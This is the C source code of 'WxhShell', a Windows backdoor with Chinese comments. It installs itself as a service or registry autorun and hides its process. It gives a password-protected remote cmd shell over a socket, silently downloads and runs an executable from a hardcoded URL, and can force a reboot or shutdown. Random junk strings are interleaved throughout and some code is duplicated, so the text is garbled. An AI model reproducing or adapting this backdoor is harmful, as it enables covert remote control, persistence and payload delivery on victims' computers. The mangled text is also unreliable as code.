NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d/e|'MPX W$Yc'E
; if (!NtQueryInformationProcess) return 0; Pv+5K*"7Cg V@QK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TSsKfexQ if(!hProcess) return 0; mTEx,
.pvV1JA' if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RTu4@7XP 5rV(( CloseHandle(hProcess); l?)ZJ3]a H7kPM[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A?T<",bO if(hProcess==NULL) return 0; cFF*Z=L_ 79yd&5#e? HMODULE hMod; 5+jf/}tA char procName[255]; [
dE.[ unsigned long cbNeeded; @ Ehn(} a`u
S[r> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iIGbHn,/ ~b|`'kU CloseHandle(hProcess); 1I}b|6
` $CE[MZ&S if(strstr(procName,"services")) return 1; // 以服务启动 `g1iCF Y05P'Q return 0; // 注册表启动 ,*@AX> } NCf"tK'5n ,xT?mt}P // 主模块 e%>b+Sv int StartWxhshell(LPSTR lpCmdLine) A[YpcG'9 { l@hjP1o SOCKET wsl; m G1IQ! BOOL val=TRUE; @MK"X}3 int port=0; ]k8/#@19 struct sockaddr_in door; irZFV
Kw`VrcwjT if(wscfg.ws_autoins) Install(); eb8w~ R,
8s_jN port=atoi(lpCmdLine);
l"zUv /)rkiwp if(port<=0) port=wscfg.ws_port; WWZ9._ VNtPKtx\ WSADATA data; ,[nm_^R*\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S-nlr@w8 :9|W#d{o if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; j` /&r*zNq setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bz`yfl2 door.sin_family = AF_INET; )P>u9=?,=E door.sin_addr.s_addr = inet_addr("127.0.0.1"); RP`2)/sMT door.sin_port = htons(port); \ M/6m^zS N|2y"5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y3ZK%OyPR closesocket(wsl); J%]D%2vnk` return 1; ^5 t } '?yCq$& Ab1/.~^ if(listen(wsl,2) == INVALID_SOCKET) { FCc=e{ closesocket(wsl); -6Mm#sX return 1; B )JM%r } k 2%S`/: Wxhshell(wsl); G 8Y+w WSACleanup(); cxYfZ4++m %:qoV0DR return 0; @)8]e
S7 7CB#YP?E } u.|~$yP.! EC?Efc+O // 以NT服务方式启动 i(6J>^I VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Kt.~aaG_ { ;#G%U!p DWORD status = 0; :'r6TVDW DWORD specificError = 0xfffffff; Y+/lX 6' R& =f:sEi serviceStatus.dwServiceType = SERVICE_WIN32; 8"vwU@cfC serviceStatus.dwCurrentState = SERVICE_START_PENDING; >LF&EM] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !
qJI'+_ serviceStatus.dwWin32ExitCode = 0; e^$j5jV serviceStatus.dwServiceSpecificExitCode = 0; H%z@h~s> serviceStatus.dwCheckPoint = 0; .#5l$[' serviceStatus.dwWaitHint = 0; &}`K^5K|O: $'[q4 wo< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \`xkp[C if (hServiceStatusHandle==0) return; *,\` o~ P l{QOR status = GetLastError(); 9''p[V.3 if (status!=NO_ERROR) 1:= `Y@.S { w9#R' serviceStatus.dwCurrentState = SERVICE_STOPPED; xnq><4 serviceStatus.dwCheckPoint = 0; qA/bg serviceStatus.dwWaitHint = 0; ^i:\@VA: serviceStatus.dwWin32ExitCode = status; ]R_G{% serviceStatus.dwServiceSpecificExitCode = specificError; ev>oC~>s SetServiceStatus(hServiceStatusHandle, &serviceStatus); {sC=J hs- return; fV ZW[9[ } |Zq\GA xNN@ 1P[* serviceStatus.dwCurrentState = SERVICE_RUNNING; hWcTI{v serviceStatus.dwCheckPoint = 0; I/UQ' xx serviceStatus.dwWaitHint = 0; 77:'I if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wh~sZ } uf@U:V =V^@%YIn // 处理NT服务事件,比如:启动、停止 i|\{\d VOID WINAPI NTServiceHandler(DWORD fdwControl) xKJ>gr"w# { @5}gsC switch(fdwControl) S@:B6](D$ { U 0ZB^` case SERVICE_CONTROL_STOP: :LV.G0)# serviceStatus.dwWin32ExitCode = 0; Ls:=A6AGM serviceStatus.dwCurrentState = SERVICE_STOPPED; <4D%v"zRP serviceStatus.dwCheckPoint = 0; hr U :Wr serviceStatus.dwWaitHint = 0; X_70]^XL { R.7#zhC`4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); a%~yol0wO7 } \OHv|8!EI@ return; $+:(f{Va* case SERVICE_CONTROL_PAUSE: `X+j2TmS serviceStatus.dwCurrentState = SERVICE_PAUSED; A'"-m)1P break; L=7rDW)aa case SERVICE_CONTROL_CONTINUE: 9)yG.9d1 serviceStatus.dwCurrentState = SERVICE_RUNNING; >x'bZ]gm break; =[(1my7 case SERVICE_CONTROL_INTERROGATE: mTEVFm break; =&0U`P$` }; o1YU_k<# SetServiceStatus(hServiceStatusHandle, &serviceStatus); AQci,j" } $ly0h W }~*rx7p // 标准应用程序主函数 lvufk VG| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XN;/nU { 6D9o08 E8tD)=1 // 获取操作系统版本 y-cw~kNPP3 OsIsNt=GetOsVer(); [(cL/_ GetModuleFileName(NULL,ExeFile,MAX_PATH); ,z66bnjO m,NMTyJoz // 从命令行安装 <-|SIF if(strpbrk(lpCmdLine,"iI")) Install(); *:QXz<_x+ piu0^vEEH // 下载执行文件 8!j=vCv if(wscfg.ws_downexe) { uJPH~mdW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b|E/LKa WinExec(wscfg.ws_filenam,SW_HIDE); uiK:*[ } !Y%D
9 B+D`\ Nl o if(!OsIsNt) { fSV5 // 如果时win9x,隐藏进程并且设置为注册表启动 n|]N7 b' HideProc(); h[l{ 5Z* StartWxhshell(lpCmdLine); MxN]7 } A[ 1)!e else ~_}4jnC if(StartFromService()) J<_ 1z':W) // 以服务方式启动 XZ@>]P StartServiceCtrlDispatcher(DispatchTable); R`C.ha else x<Se>+
// 普通方式启动 {Tx 3$eU StartWxhshell(lpCmdLine); K.h]JD]o Fd"WlBYy0 return 0; f%1wMOzx } $SF3odpt GI4oQcJ HWR&C k6g|7^es2 =========================================== 4(iS-8{J 7z>+w L{K*~B -p 4JK@<GBK6 2))t*9;h Nz @8 " !pS~'E&q v|To+P6b #include <stdio.h>
.
X0t" #include <string.h> Heohe|an #include <windows.h> t;XS;b% #include <winsock2.h> g)N54WV #include <winsvc.h> (lb`#TTGx #include <urlmon.h> &U0WkW
/Ef4EX0 #pragma comment (lib, "Ws2_32.lib") ZE ^u .>5 #pragma comment (lib, "urlmon.lib") eu=|t&FKk Fi k@hu #define MAX_USER 100 // 最大客户端连接数 Q^ q=!/qQ #define BUF_SOCK 200 // sock buffer j%GbgJ #define KEY_BUFF 255 // 输入 buffer {"\q(R0 N
I3( #define REBOOT 0 // 重启 4Qhx[Hv>( #define SHUTDOWN 1 // 关机 aZC*7AK
*<CxFy;| #define DEF_PORT 5000 // 监听端口 Obg@YIwn %g5jY%dg.r #define REG_LEN 16 // 注册表键长度 @6[x%j/!bt #define SVC_LEN 80 // NT服务名长度 z}mvX.j7 ?PYNE // 从dll定义API V!}L<cN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yx 7loy$[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;HT0w_, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F94V 5_[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wz)m{:b< =yo=q)W // wxhshell配置信息 H WOek"}Z[ struct WSCFG { kEx8+2s=M int ws_port; // 监听端口 \cFAxL( char ws_passstr[REG_LEN]; // 口令 i~ROQMN1 int ws_autoins; // 安装标记, 1=yes 0=no $TFTIk*uU char ws_regname[REG_LEN]; // 注册表键名 lWIv(%/@ char ws_svcname[REG_LEN]; // 服务名 j@_nI~7f} char ws_svcdisp[SVC_LEN]; // 服务显示名 r8<JX5zyuo char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^U"
q|[qy char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vzk cZK int ws_downexe; // 下载执行标记, 1=yes 0=no #[C<
J#; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =sL(^UISl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9c:5t'Qt5. I S.F }; - =yTAx wiKCr/ // default Wxhshell configuration .M}06,- struct WSCFG wscfg={DEF_PORT, _82<|NN: "xuhuanlingzhe", D@2Ya/c 1, M44_us "Wxhshell", ?TRW"% "Wxhshell", E]1\iV "WxhShell Service", R+k=Ea&x "Wrsky Windows CmdShell Service", IOn`cbV: "Please Input Your Password: ", il=?o f\,i 1, 2c!h2$w "http://www.wrsky.com/wxhshell.exe", f*UBigk "Wxhshell.exe"
>_n:_ }; 4b]IazL) J,MT^ B // 消息定义模块 gjO
*h3` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hu[8HzJo char *msg_ws_prompt="\n\r? for help\n\r#>"; r
.{rNR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u;$I{b@M] char *msg_ws_ext="\n\rExit."; }FuVY><l char *msg_ws_end="\n\rQuit."; v4X_v!CQ char *msg_ws_boot="\n\rReboot..."; BW+qp3 k\ char *msg_ws_poff="\n\rShutdown..."; p.qrf7N$ char *msg_ws_down="\n\rSave to "; 30t:O&2< Qu!OV]Cc char *msg_ws_err="\n\rErr!"; ;>cLbjD char *msg_ws_ok="\n\rOK!"; $0ym_6n BYTXAZLb char ExeFile[MAX_PATH]; 1{= E? int nUser = 0; x|&[hFXD HANDLE handles[MAX_USER]; ux)< &p. int OsIsNt; f|;HS!$ &8R-C[A SERVICE_STATUS serviceStatus; (*LTqC SERVICE_STATUS_HANDLE hServiceStatusHandle; oB hL}r 6(!,H<bON // 函数声明 Rs`Vr_?Hk int Install(void); +>n.T int Uninstall(void); k*A4;Bm int DownloadFile(char *sURL, SOCKET wsh); k?!TjBKm int Boot(int flag); *'kC8ZR5 void HideProc(void); /W7&U
=d9 int GetOsVer(void); aY3pvOV int Wxhshell(SOCKET wsl); s{b0#[ void TalkWithClient(void *cs); `[w}hFl~q int CmdShell(SOCKET sock); 2l]C55p)s int StartFromService(void); :-W$PIBe int StartWxhshell(LPSTR lpCmdLine); clij|?O VGq{y{( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zS&7[:IRs' VOID WINAPI NTServiceHandler( DWORD fdwControl ); =>E44v 2
rbX8Y // 数据结构和表定义 [YL sEo= SERVICE_TABLE_ENTRY DispatchTable[] = WBIQ%XB' { @^w!% ?J {wscfg.ws_svcname, NTServiceMain}, Pc di {NULL, NULL} 8^&fZL', }; ! hOOpZf7 @ J?-a m> // 自我安装 wWp?HDl"M int Install(void) RlG'|xaT { |:`?A3^m# char svExeFile[MAX_PATH]; bcGn8 HKEY key; p\4h$." strcpy(svExeFile,ExeFile); NZC<m$') U"jUMOMZ; // 如果是win9x系统,修改注册表设为自启动 <m|FccvQ if(!OsIsNt) { Vs2 v j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { krnvFZRTQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N^nDWK RegCloseKey(key); d!a2[2Us if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C.B8 J"T- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;jpw"-J` RegCloseKey(key); r;@:S~ return 0; LIm$Wl1U } S^_JC } x`j_d:C~G } D/NIn=>j else { arpJiG~JR 8trm`?> // 如果是NT以上系统,安装为系统服务 bCe[nmE2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oW\Q>c7
= if (schSCManager!=0) rzc 3k~@ { #,Fx@3y\a SC_HANDLE schService = CreateService _.s\qQ ( 72BzvY. schSCManager, +4p2KYO wscfg.ws_svcname, b*$o[wO9 wscfg.ws_svcdisp, .pNq-T SERVICE_ALL_ACCESS, =}6Z{}(TT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RQ_#rYmT SERVICE_AUTO_START, ~a0d.dU SERVICE_ERROR_NORMAL, r;5 AY svExeFile, dqK NULL, \Ho#[k=y*/ NULL, .1l[l5$ NULL, Hf`&& NULL, rK0|9^i{ NULL p]J]<QaZD ); Cys/1DkE if (schService!=0) u8$~N$L { _YD<Q@ CloseServiceHandle(schService); Xj(k(>7V CloseServiceHandle(schSCManager); LT
y@6* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [jG uO% strcat(svExeFile,wscfg.ws_svcname); _3g %F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yD=)&->Ra RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +LU ). RegCloseKey(key); 1dXO3hot return 0; ;_;H(%uY } NEjBjLJZ } QRn:=J%W W CloseServiceHandle(schSCManager); 0[3tW[j } s^x ,S } *jqPKK/ '! 2 return 1; 'j=PbA } r]K0
]h@B 0v,`P4_k // 自我卸载 YH:W] int Uninstall(void) r>D[5B { ]mDsUZf< HKEY key; #|2g{7g* qoyGs}/I8 if(!OsIsNt) { 4$#ia
F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O,z%7>< RegDeleteValue(key,wscfg.ws_regname); 1tK6lrhj RegCloseKey(key); d#$i/&gE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FCw
VVF0y RegDeleteValue(key,wscfg.ws_regname); 2* cKFv{ RegCloseKey(key); FnU{C= P return 0; RdpQJ)3F }
19.!$; } ,L;c{[*rh } N'W>pU else { j4hUPL7
,_7tRkn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r+WPQ`Ar if (schSCManager!=0) #)c;i<Q3S { trNK9@wT) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -_H2FlB if (schService!=0) ?R~Ye { 1\9BO:<K if(DeleteService(schService)!=0) { {:q9: CloseServiceHandle(schService); #'{PYr CloseServiceHandle(schSCManager); laIC}! return 0; PT5ni6 } eWt>^]H~ CloseServiceHandle(schService); E*#60z7F } "NI>HO.U CloseServiceHandle(schSCManager); d4rJ?qw } _}%#Yz } f0s<Y ^IegR> return 1; [!|d[ } !t
[%'!v BsG[#4KM: // 从指定url下载文件 &-.eu int DownloadFile(char *sURL, SOCKET wsh) 97=YFK~* { 1Yx[,GyC>& HRESULT hr; ry<}DK<u char seps[]= "/"; Ik2szXh[J char *token; N4JL.(m){I char *file; (VF4] char myURL[MAX_PATH]; YuZ
char myFILE[MAX_PATH]; C{Xk/Er5< *d*;M> strcpy(myURL,sURL); |"(3]f\ token=strtok(myURL,seps); zAdVJ58H while(token!=NULL) ?
Gu_UW { -O q=J; file=token; 29E@e]Y,` token=strtok(NULL,seps); o\Vt $ } p[+me o LFry?HO,D GetCurrentDirectory(MAX_PATH,myFILE); Rhxm)5 + strcat(myFILE, "\\"); d}G."wnG9, strcat(myFILE, file); 6je%LHhL send(wsh,myFILE,strlen(myFILE),0); BN>$LL send(wsh,"...",3,0); AG!a=ufc0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @9Pn(fd] if(hr==S_OK) aLo>Yi return 0; YedipYG9; else q|_ 5@Ly return 1; !ES#::;z? U@ QU8 } [==Z1Q;= 9w<_XXQ // 系统电源模块 ]d;/6R+Vs int Boot(int flag) RIpq/^Th { ~8 a>D<b HANDLE hToken; @G-k]IWi TOKEN_PRIVILEGES tkp; xRZT :jp$X| if(OsIsNt) {
"S} hcAL/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +mF 2yh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aD`e]K ^L tkp.PrivilegeCount = 1; zU=[Kc=$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +4vX+;: br AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B=xZkc if(flag==REBOOT) { &K*_/Q
'\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ATkqzE`; return 0; #6Ph"\G/ } 8*){*'bf else { .aRxqFi_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1;9E*= return 0; uy%PTi+A } -5B([jHgR } 43]&SXprH else { QU;C*}0Zl if(flag==REBOOT) { K&oO+ G^f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 545xs`Q_ return 0; `I:,[3_/ } +0042Yi else { n8ya$bc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q&\ksM return 0; /JYi^rZ } x1ex}_\ } h^X.e[ l3$?eGGM return 1; p;01a } t`D@bzLC% 7im;b15j`' // win9x进程隐藏模块 "qp_*Y void HideProc(void) tHo/uW_~I { c8W=Is` ;]ew>P) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P"VLGa if ( hKernel != NULL ) 4r!40^:2 { FNO
lR>0e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7q1l9:VYE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1T`"/*! FreeLibrary(hKernel); q/zdd3a } 1Tkdr2 {.)D)8`<d return; jC7XdYp } lO@Ba;x M57(,#g // 获取操作系统版本 sbIhg/:ok int GetOsVer(void) :S2MS{>Mo { L zy|<:K+$ OSVERSIONINFO winfo; MM7gMAA.mz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o8"xoXK5xf GetVersionEx(&winfo); 4x>e7Kf if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3xY]Lqwv return 1; _P+|tW1 else F`3As 9b: return 0; pr?(5{BL } 9(]j
e4Cn ]d(}b>gR~( // 客户端句柄模块 $SgD|
9 int Wxhshell(SOCKET wsl) p.olXP { :.^rWCL2 SOCKET wsh; YiMecu struct sockaddr_in client; \rO>FE DWORD myID; J'v|^`bE 3E9j%sYk while(nUser<MAX_USER) CAO{$<M5m { #d(r^U#I int nSize=sizeof(client); ;I'["k% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /y@iaptC if(wsh==INVALID_SOCKET) return 1; ,B!Qv3bn Ss}0.5Bq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b@Cvs4 if(handles[nUser]==0) ^5F/=TtE G closesocket(wsh); i>}z$'X else )I9(WVx!] nUser++; }(6k7{,Gw, } .?
/J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zvj\n9H ~VKXL,. return 0; VVOt%d } n!nv.-n qa6up|xUnn // 关闭 socket GC2<K void CloseIt(SOCKET wsh) @TDcj~oR? { FT=>haN closesocket(wsh); 3dLz=.=)' nUser--; v8[1E>&vx ExitThread(0); gw^+[}U# } ~E~J*R Ze ^DOcw@Z6HC // 客户端请求句柄 FW,D\51pTP void TalkWithClient(void *cs) Y@eUvz { ,vj^AXU /zKuVaC SOCKET wsh=(SOCKET)cs; .S;/v--F char pwd[SVC_LEN];
95/C4q char cmd[KEY_BUFF]; Yn/-m
Z char chr[1]; DEhA8.v int i,j; CXA8V"@&b/ hpu(MX\ while (nUser < MAX_USER) { PHkvt!uH "AVc^> if(wscfg.ws_passstr) { !T)>q%@ai if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3[4]G@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P8f-&( //ZeroMemory(pwd,KEY_BUFF); mLSAi2Y i=0; +l\Dp while(i<SVC_LEN) { ZWH`s Ns_d10rZ. // 设置超时 mUxD.;P fd_set FdRead; HN+z7 Q8hH struct timeval TimeOut; U@WT;:.T FD_ZERO(&FdRead); i^(<E0vS FD_SET(wsh,&FdRead); OJaU,vQ# TimeOut.tv_sec=8; (XQG"G%U6W TimeOut.tv_usec=0; Qd&j~cG@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); so*7LM?ib> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \9DTf:!4Z |rQ;|+. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rx.0P6s pwd=chr[0]; nYHk~<a if(chr[0]==0xd || chr[0]==0xa) { J4<*KL~a pwd=0;
Nnw iH break; ;N|6C+y } -|5&3HVz i++; J$oJ } ge|}'QKow 4kiu*T // 如果是非法用户,关闭 socket ]3G2mY;`"% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t@\0$V
\X } p5\b&~
g tx.sUu6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p|%)uA3'/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JT+P>\\];' {<lV=0] while(1) { N*#SY$!y UT -=5 ZeroMemory(cmd,KEY_BUFF); ?QgWW e M}Xn^} // 自动支持客户端 telnet标准 :BS`Q/<w j=0; 7@\iBmr6 while(j<KEY_BUFF) { ,aeFEsi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q!n|Ju< cmd[j]=chr[0]; 4{V=X3,x if(chr[0]==0xa || chr[0]==0xd) { <Ip}uy[Y cmd[j]=0; O;~1M3Ii break; W$W7U|Z9y+ } tF4"28"h j++; z|Xl%8 } LS`Gg7]S oKUJB.PF // 下载文件 hn-S$3')` if(strstr(cmd,"http://")) { ;rX4${h send(wsh,msg_ws_down,strlen(msg_ws_down),0); X!m/I
i$q if(DownloadFile(cmd,wsh)) ty ~U~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^t"\PpmK<d else ji "*=i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +J2=\YO } ^J327 else { ?w.Yx$Z" : v]< h switch(cmd[0]) { 6i%)'dl _$\T;m>'A // 帮助 xk,E
A U case '?': { MxY CMe4S[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qz 'a.]{= break; Gc>\L3u } u+*CpKR} // 安装 yuND0,e case 'i': { 3E#acnqn* if(Install()) _M?:N:e send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Vt5].TA else B|8(}Ciqx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !!9V0[ break; R
+k\)_F } ^'}Td~( // 卸载 h'
16"j> case 'r': { >y1/*)O9~ if(Uninstall()) wFh{\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); RxqXGM`4 else %9IM|\ulp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :U~[%] break; Vry# } `=oN &! // 显示 wxhshell 所在路径 R{.ku!w case 'p': { aw(P@9] char svExeFile[MAX_PATH]; DY1o!thz) strcpy(svExeFile,"\n\r"); bygwoZ<E strcat(svExeFile,ExeFile); "UE'dWz send(wsh,svExeFile,strlen(svExeFile),0); UXd\Q'' break; WHU&9N } .; :[sv) // 重启 )%*uMuF case 'b': {
djk send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sYvO"| if(Boot(REBOOT)) J=()
A+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); uvT]MgT else { 6 ,k}v: closesocket(wsh); !d ZHG
R ExitThread(0); EPyFM_k } MVV<&jho{^ break; Zcc6E2 } 7.]ZD`"Bb // 关机 (HY|0Bgr case 'd': { x;ujR< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mWtwp- if(Boot(SHUTDOWN)) 2Ddrxc>48 send(wsh,msg_ws_err,strlen(msg_ws_err),0); hF6EOCY6D else { BONM:(1 closesocket(wsh); 55Jk "V#8 ExitThread(0); Q|:\ } mgS%YG break; @n<WM@|l } B;^7Yu0, // 获取shell oSxHTbp? case 's': { .a$][Jny CmdShell(wsh); Jyvc(~x closesocket(wsh); Nhs]U`s(g ExitThread(0);
BVG 3 T break; Ry,jPw5< } UeE&rA] // 退出 ,rQznE1e case 'x': { 9hcZbM] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uRJLSt9m CloseIt(wsh); f ^z7K break; (ZDRjBth[ } !
XA07O[@ // 离开 e%"L79Of6) case 'q': { ceAK;v
o send(wsh,msg_ws_end,strlen(msg_ws_end),0); lv,<[Hw1 closesocket(wsh); <jfi"SJu WSACleanup(); 2Ui)'0 exit(1); A2]N := break; "#(]{MY } IS"UBJ6p } Yk[yG;W } FD[*mCGZ )'92{-A0 // 提示信息 (eHvp if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Cm:4)~ } \S3C"P%w } IeE+h-3p eo"6 \3z return; l1a=r:WhH } .hnGHX ?:~ `? // shell模块句柄 3.
fIp5g int CmdShell(SOCKET sock) om|M=/^ { yjc:+Y{5' STARTUPINFO si; !\^c9Pg|v ZeroMemory(&si,sizeof(si)); e%#9|/uP si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bm1yBKjO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dX` _Y PROCESS_INFORMATION ProcessInfo; u
JGYXlLE char cmdline[]="cmd"; Jt@7y"< CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F(:+[$) return 0; `
Y"Rh[C } )9==6p DtR-NzjB // 自身启动模式 's+ Fd~' int StartFromService(void) $U3s:VQ ' { IYb@@Jzo typedef struct xqX~nV#TB { }>fL{};Z" DWORD ExitStatus; 2 ES .)pQ DWORD PebBaseAddress; -TSn_XE DWORD AffinityMask; >cQ*qXI0 DWORD BasePriority; qbpvTTF ULONG UniqueProcessId; WADNr8. ULONG InheritedFromUniqueProcessId; g.Z>9(>;Y } PROCESS_BASIC_INFORMATION; ~\(U&2t
r)q6^|~47 PROCNTQSIP NtQueryInformationProcess; E XEae? Xb5n;=) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h{VCx#!] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bo`w(h_ ZoF\1C ^ HANDLE hProcess; ^3 F[^#" PROCESS_BASIC_INFORMATION pbi; 0l!@bj 26&^n
Uy HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AS'a'x>8>, if(NULL == hInst ) return 0; FX4](oM RV.*_FG g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 52,p CyU g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wqK>=Ri_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [-=PK\ B `fj(xrI if (!NtQueryInformationProcess) return 0; iO(9#rV Atzp\oO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dq[j.Nmq if(!hProcess) return 0; FD,M.kbg Y6 ,< j| if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p(:\)HP)R 8(\Az5% CloseHandle(hProcess); [89#8|+ rX)PN3TD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); : DCj2" if(hProcess==NULL) return 0; pTX{j=n! /|bir6Y: HMODULE hMod; "n=`{~F char procName[255]; HFB2ep7N unsigned long cbNeeded; ZOi8)Y~ |JtdCP{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FU E/uh [j`It4^nC CloseHandle(hProcess); ZjF$zVk ~ucOQVmz@ if(strstr(procName,"services")) return 1; // 以服务启动 ?TLMoqmXM{ 80x
